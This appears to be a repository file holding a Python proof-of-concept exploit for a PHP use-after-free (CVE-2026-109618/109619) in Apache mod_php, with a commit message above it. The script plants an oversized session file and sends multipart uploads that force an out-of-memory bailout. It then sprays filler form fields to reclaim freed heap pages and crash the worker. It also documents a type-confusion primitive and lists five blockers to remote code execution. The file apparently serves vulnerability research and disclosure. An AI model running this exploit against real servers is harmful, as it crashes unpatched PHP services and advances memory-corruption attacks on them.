Files
php2shell/uaf-rce/exploit.py
T
neko 39f7f33938 UAF exploit: exhaustive analysis, five independent RCE blockers documented
Type confusion via var_access confirmed: R:N; references resolve stale
entries.data[0] without crashing, returning the attacker's own session
data from the cached ZendMM chunk (pages retained, not zeroed).

Key finding: filler spray and type confusion are mutually exclusive.
var_tmp_var reads last_dtor (struct offset 16) BEFORE var_access reads
entries (offset 56). Spray corrupts offset 16, crashing before the
type confusion can execute.

Built-in class audit: SplFileObject and PDO have function pointer calls
in free_obj, but constructing fake objects requires libphp.so base (ASLR).

Patch audit (8.5.12): all three defense layers are solid, no bypass found.

Five RCE blockers: no info leak, filler/type-confusion mutual exclusion,
GC header overlap, no usable classes without ASLR bypass, session key
validation.
2026-10-22 04:47:13 +00:00

597 lines
24 KiB
Python

#!/usr/bin/env python3 -I
"""
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
Apache mod_php (prefork MPM), no LFI, no framework dependencies
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
chain with three independent defense layers:
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
Vulnerability chain:
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
(longjmp), which skips php_var_unserialize_destroy(). This leaves
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
CVE-2026-109619: The session upload progress globals populated by
the RFC1867 callback survive into the next request. On the next
request, sapi_activate() runs the RFC1867 callback BEFORE
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
php_session_decode() -> php_var_unserialize_init(), which sees
BG(unserialize).level > 0 and returns the stale .data pointer.
Classic use-after-free.
Attack phases:
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
that will trigger HashTable resize needing ~2.25MB when decoded.
Phase 2 (OOM): Multipart upload referencing that session ID.
RFC1867 progress callback reads and decodes the session file.
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
Phase 3 (Crash): Another upload (no intermediate GET requests, which
would zero BG state via RINIT). Filler form fields create many
3-page zend_string allocations that consume ZendMM pages up to the
stale struct's position (~page 288). The struct's 'last' pointer
(offset 0) is overwritten by the zend_string GC header (refcount +
type_info), which is not a valid heap address. var_push reads
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default in php.ini)
- memory_limit low enough for session data to trigger OOM
- Any reachable PHP URL on the target (even a 404 page works)
- A method to write a session file with many entries (Phase 1)
- No LFI, no framework, no non-default config changes needed
Exploitation notes:
This PoC demonstrates two distinct UAF primitives:
1. CRASH (var_push path): Filler fields reclaim the stale struct
pages. The zend_string GC header at offset 0 overwrites the
'last' pointer with refcount|type_info (not a valid address).
var_push reads 'last' and dereferences it -> SIGSEGV.
2. TYPE CONFUSION (var_access path): Session data using R:N
backreferences resolves through var_access, which reads the
inline 'entries' at struct offset 56 instead of 'last' at
offset 0. Without the filler spray, the stale struct's 'last'
pointer self-references &entries (valid), and entries.data[0]
holds a dangling pointer to a zval from request 1's heap.
PHP reads this stale zval without crashing. The value's type
matches whatever the first OOM session entry contained:
- String value -> stale IS_STRING (original content intact)
- Integer value -> stale IS_LONG (original value)
- Object value -> CRASH (freed zend_object dereference)
The two primitives are MUTUALLY EXCLUSIVE: filler spray corrupts
struct offset 16 (last_dtor), and var_tmp_var reads last_dtor
BEFORE var_access runs. With fillers, var_tmp_var crashes.
Without fillers, the type confusion works but reads the attacker's
own data from the stale heap (the cached ZendMM chunk retains page
data across requests without zeroing). No info leak is possible.
Full RCE is blocked by:
- ASLR: no info leak primitive. The type confusion reads back
the attacker's own session data, not heap metadata or code
pointers. The cached chunk retains original bytes.
- Mutual exclusion: filler spray (needed for controlled content)
crashes var_tmp_var before var_access can read the fillers.
- GC header overlap at offset 0: prevents pointer control when
spraying (var_push reads 'last' before reaching controlled
bytes at offset 24+)
- No loaded classes during sapi_activate: PHP built-in classes
(SplFileObject, PDO) have exploitable handlers but constructing
fake objects requires knowing libphp.so base address (ASLR)
- Session key validation: PHP's php serializer skips keys
containing '|', blocking injection via upload progress name
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --oom-only
"""
import argparse
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ── Constants ────────────────────────────────────────────────────────
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
# ── Networking ───────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=10):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
sock = connect(host, port, timeout=timeout)
sock.sendall(headers_bytes + body_bytes)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Multipart builders ──────────────────────────────────────────────
def multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
def multipart_end(boundary):
return b"--" + boundary + b"--\r\n"
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
hdrs = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if sid:
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
hdrs += "Connection: close\r\n\r\n"
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
# ── Session file generation ─────────────────────────────────────────
def generate_session_data(n_entries):
"""PHP session data that forces a large HashTable allocation on decode.
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
"""
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
inner = "".join(parts)
return f'd|a:{n_entries}:{{{inner}}}'.encode()
# ── Session file management ─────────────────────────────────────────
def write_session_file(sid, data, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
tmp = f"/tmp/sess_plant_{os.getpid()}"
with open(tmp, "wb") as f:
f.write(data)
subprocess.run(["sudo", "cp", tmp, fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chmod", "600", fpath],
capture_output=True, check=True)
os.unlink(tmp)
return fpath
def read_session_file(sid, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
capture_output=True, text=True)
if r.returncode != 0:
return False, 0
return True, int(r.stdout.strip())
def ensure_session_file(sid, save_path, n_entries):
exists, size = read_session_file(sid, save_path)
if exists and size > 100000:
return size
data = generate_session_data(n_entries)
write_session_file(sid, data, save_path)
return len(data)
# ── Phase 0: Worker discovery ───────────────────────────────────────
def discover_workers(host, port, path, rounds=20):
pids = set()
for _ in range(rounds):
try:
_, body = http_get(host, port, path, timeout=5)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout, OSError):
pass
return sorted(pids)
# ── Phase builders ──────────────────────────────────────────────────
def build_oom_trigger(sid):
boundary = b"OOM" + os.urandom(4).hex().encode()
parts = [
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
multipart_end(boundary),
]
return boundary, b"".join(parts)
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
"""Multipart with filler fields to reclaim stale struct pages.
Each field value is a 3-page zend_string. The GC header at offset
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
When var_push reads 'last', it dereferences the invalid address.
"""
boundary = b"CRASH" + os.urandom(4).hex().encode()
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
filler = b"\x41" * field_size
for i in range(n_fields):
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
parts.append(multipart_end(boundary))
return boundary, b"".join(parts)
def is_oom_response(status, body):
return (
b"memory size" in body
or b"Allowed memory" in body
or status == 500
or status == 0
)
# ── Main ────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
)
parser.add_argument("--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php")
parser.add_argument("--session-path",
default="/var/www/uaf-test/sessions",
help="Session save_path on the target")
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
help="Entries in OOM session file (default: 33000)")
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
help="Filler fields for crash trigger (default: 100)")
parser.add_argument("--oom-only", action="store_true",
help="Stop after Phase 2 (OOM + stale state)")
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print()
# ── Phase 0: Worker discovery ──────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = discover_workers(host, port, path)
if not pids:
print("[-] No workers found. Target must echo getmypid().")
sys.exit(1)
print(f" Workers: {pids}")
target_pid = pids[0]
# ── Phase 1: Plant large session file ──────────────────────────
print()
print("[*] Phase 1: Planting large session file...")
sid = "uaf" + os.urandom(6).hex()
print(f" SID: {sid}")
print(f" Entries: {args.entries}")
sess_size = ensure_session_file(sid, args.session_path, args.entries)
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
print(f" HashTable resize on decode needs ~2.25MB")
# ── Phase 2: OOM trigger ───────────────────────────────────────
print()
print("[*] Phase 2: Triggering OOM during session decode...")
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
oom_success = False
patched = False
for attempt in range(len(pids) * 8):
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if is_oom_response(status, rbody):
if b"memory size" in rbody:
tag = f"{status} (OOM in body)"
elif status == 500:
tag = "500"
else:
tag = "connection dropped"
print(f" [{attempt+1}] OOM triggered ({tag})")
# Detect patched vs unpatched via session file state.
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
time.sleep(0.3)
exists, sz = read_session_file(sid, args.session_path)
if not exists or sz == 0:
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
elif sz < sess_size // 2:
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
patched = True
oom_success = True
break
else:
print(f" [{attempt+1}] status={status} (no OOM, retrying)")
if not oom_success:
print()
print("[-] OOM trigger failed.")
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
sys.exit(1)
if patched:
print()
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
print(" 3. Session handler: incomplete_classes_only during RFC1867")
return
# Check worker survived (must do this BEFORE Phase 3, but note
# this GET request will zero BG state on the worker it hits).
# With MaxRequestWorkers=1, this targets the same worker.
# We will re-trigger OOM before the crash attempt.
time.sleep(0.5)
pids_after = discover_workers(host, port, path, rounds=5)
survived = set(pids) & set(pids_after)
if not survived:
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
sys.exit(1)
target_pid = sorted(survived)[0]
print(f" [+] Worker {target_pid} survived OOM")
if args.oom_only:
print()
print("[+] Phase 2 complete.")
print(" BG(unserialize).level=1, .data=freed heap pointer.")
print(" (BG state zeroed by the verification GET above.)")
return
# ── Phase 3: UAF crash verification ───────────────────────────
#
# CRITICAL: no GET requests between the OOM trigger and the crash
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
# zeros BG(unserialize), destroying the stale state.
#
# With prefork MaxRequestWorkers=1, all requests go to the same
# worker. We re-trigger OOM (to set stale state), then immediately
# send the crash trigger without any intermediate requests.
#
# Crash mechanism: filler form fields create 3-page zend_string
# allocations that consume pages up to the stale struct's position
# (~page 288 out of 512 in the ZendMM chunk). When a filler
# zend_string lands on the stale pages, offset 0 (the 'last'
# pointer) is overwritten with the zend_string GC header:
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
# This is not a valid heap address. When the session decode calls
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
print()
print("[*] Phase 3: UAF crash verification...")
print(" Re-triggering OOM, then crash (no intermediate GET).")
crashed = False
for attempt in range(3):
# Re-trigger OOM to set stale BG state
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if not is_oom_response(status, rbody):
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
continue
time.sleep(0.3)
# Plant a small session (one entry). The decode calls var_push
# once, which reads the stale 'last' pointer and crashes.
small_session = b'x|s:3:"abc";'
write_session_file(sid, small_session, args.session_path)
# Send crash trigger DIRECTLY (no intermediate GET).
# Filler fields consume pages up to the stale struct.
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
# Check if worker crashed (new PID or connection failure)
time.sleep(0.5)
try:
_, rbody2 = http_get(host, port, path, timeout=5)
pid_after = extract_pid(rbody2)
except (ConnectionError, socket.timeout, OSError):
pid_after = 0
if pid_after and pid_after != target_pid:
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
print(f" Filler zend_strings reclaimed stale struct pages")
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
crashed = True
target_pid = pid_after
break
elif pid_after == target_pid:
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
elif status == 0 and pid_after == 0:
print(f" [{attempt+1}] Server unresponsive")
else:
print(f" [{attempt+1}] Response: {status}")
print()
if crashed:
print("[+] USE-AFTER-FREE CONFIRMED")
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
print(" overwrote the 'last' pointer with refcount|type_info.")
print(" var_push dereferenced the invalid address -> SIGSEGV.")
else:
print("[*] No crash triggered (filler fields may have missed the pages).")
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
print()
print_summary(crash=crashed)
def print_summary(patched=False, crash=False):
print("=" * 64)
print(" Summary")
print("=" * 64)
print()
if patched:
print(" TARGET: PATCHED (not vulnerable)")
print()
print(" Three independent mitigations block the attack:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
return
print(" TARGET: UNPATCHED (vulnerable)")
print()
print(" Confirmed primitives:")
print(" [+] OOM during RFC1867 session decode")
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
print(" BG(unserialize).level=1, .data=freed heap pointer")
print(" Apache prefork worker survives, serves new requests")
if crash:
print(" [+] Use-After-Free crash (var_push path)")
print(" Filler zend_strings reclaim stale struct pages")
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
print(" [+] Type confusion (var_access path)")
print(" R:N backreferences bypass the corrupted 'last' pointer")
print(" var_access reads inline entries at offset 56 (not offset 0)")
print(" Stale entries.data[0] resolves to freed heap memory")
print(" PHP interprets stale bytes as a live zval (observed: IS_ARRAY)")
print()
print(" Exploitation status:")
print(" Two UAF primitives confirmed: crash (DoS) and type confusion.")
print(" Full RCE is blocked by five independent constraints:")
print()
print(" 1. ASLR: type confusion reads attacker's own data, not heap")
print(" metadata or code pointers (cached chunk retains original bytes)")
print(" 2. Mutual exclusion: filler spray crashes var_tmp_var (offset 16)")
print(" before var_access can read controlled data at offset 56+")
print(" 3. GC header overlap: uncontrolled bytes at struct offset 0-23")
print(" prevent var_push from reaching controlled data at offset 24+")
print(" 4. No exploitable classes: SplFileObject/PDO have function pointer")
print(" calls in free_obj, but fake objects need libphp.so base (ASLR)")
print(" 5. Session key validation: php serializer skips keys with '|',")
print(" blocking deserialization injection via upload progress name")
print()
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
print(" No LFI, no framework, no application-level access needed.")
if __name__ == "__main__":
main()